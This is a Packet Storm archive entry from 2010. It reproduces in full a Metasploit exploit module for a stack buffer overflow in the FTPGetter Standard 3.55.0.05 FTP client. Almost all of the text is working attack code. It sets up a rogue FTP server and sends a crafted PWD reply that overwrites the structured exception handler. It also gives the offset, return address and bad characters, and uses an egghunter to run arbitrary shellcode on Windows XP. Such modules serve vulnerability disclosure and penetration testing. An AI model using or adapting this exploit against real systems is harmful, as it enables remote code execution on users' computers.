FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)

2010-10-13T00:00:00
ID PACKETSTORM:94665
Type packetstorm
Reporter corelanc0d3r
Modified 2010-10-13T00:00:00

Description

                                        
                                            `##  
# $Id: ftpgetter_pwd_reply.rb 10661 2010-10-12 18:40:13Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',  
'Description' => %q{  
This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.  
When processing the response on a PWD command, a stack based buffer overflow occurs.  
This leads to arbitrary code execution when a structured exception handler gets  
overwritten.  
},  
'Author' =>  
[  
'ekse', # found the bug  
'corelanc0d3r', # wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10661 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
  
end  
  
def setup  
super  
badchars = ""  
eggoptions =  
{  
:checksum => true,  
:eggtag => "W00T"  
}  
@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_pass(c,arg)  
@state[c][:pass] = arg  
c.put("230 OK #{@egg}\r\n")  
return  
end  
  
def on_client_command_pwd(c,arg)  
junk1 = "A" * target['Offset']  
junk2 = "A" * 9  
nseh = "\x74\x06\x41\x41"  
jmp = "\x75\x08"  
seh = [target.ret].pack('V')  
junk3 = "D" * 22000  
#dual offset  
buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3  
c.put("257 \"/\" #{buffer}\r\n")  
print_status("Sent payload, #{buffer.length} bytes")  
print_status("Wait for hunter ...")  
return  
end  
  
end  
  
`